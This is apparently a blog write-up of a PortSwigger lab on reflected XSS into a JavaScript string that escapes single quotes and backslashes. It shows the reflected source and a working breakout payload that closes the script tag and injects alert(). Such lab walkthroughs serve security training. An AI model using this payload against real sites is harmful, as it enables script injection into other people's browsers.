Reflected XSS into a JavaScript String with Single Quote and Backslash Escaped
A PortSwigger XSS lab writeup about reflected XSS into a JavaScript string with single quote and backslash escaped.
Introduction
This is the 18th lab in PortSwigger’s XSS lab series. It is titled Reflected XSS into a JavaScript string with single quote and backslash escaped.
Investigation
From the description, there is an XSS in the search functionality in JS. We need to escape a quote that encodes maybe the single or double quote using a backslash.
We have the usual website: a blog post, and this time it is actually with a search bar.
Let’s try the search functionality by adding a small search item named SANSXSS.
After looking in the page source, we can find our inserted item in the page source.
1
2
3
4
<script>
var searchTerms = 'SANSXSS';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
So let’s see if it is possible to escape this JS string by adding a single quote.
We can see in the following image that the single quote is being escaped using a backslash, so let’s try adding another backslash. Will it work?
After testing, I detected some behaviors. This app handles the search input, and basically it is like this:
1
2
3
4
5
6
7
8
9
QUERY = requests.get('search')
search = ""
for i in QUERY:
if i == "'" or i == "\\":
search += "\\"+i
else:
search += i
return search
So the JS string itself is unescapable. Let’s check the img tag that the script adds.
1
<img src="/resources/images/tracker.gif?searchTerms=SANSXSS">
The problem with this is that if we try to escape the double quotes with the payload "SANSXSS, we cannot because it is URI-encoded.
Vulnerability Finding
After some research and maybe reading the writeup, I discovered something about HTML itself, or JS executed in an HTML context in a script tag specifically.
If we have a JS string like what we have here:
1
2
3
4
<script>
var searchTerms = 'SANSXSS';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
If we add a </script> in that string, HTML will see it and say, “Oh, the script tag is done.” Even if it is a string, the script tag will close, and with that we have this:
1
2
3
4
<script>
var searchTerms = 'SANSXSS</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
With that, we can open another script tag like this:
1
2
3
4
<script>
var searchTerms = 'SANSXSS</script><script>alert()</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
With that, we have an XSS. Weird, right? This is one of the weird HTML behaviors, actually not specifically JS. That is why the angle bracket should be escaped in a JS script in an HTML context.
Conclusion
The labs are getting harder, maybe, but this is a great new method. I do not think that this vulnerability exists in new web apps built with frameworks such as React or Angular.

.png)
.png)
.png)
.png)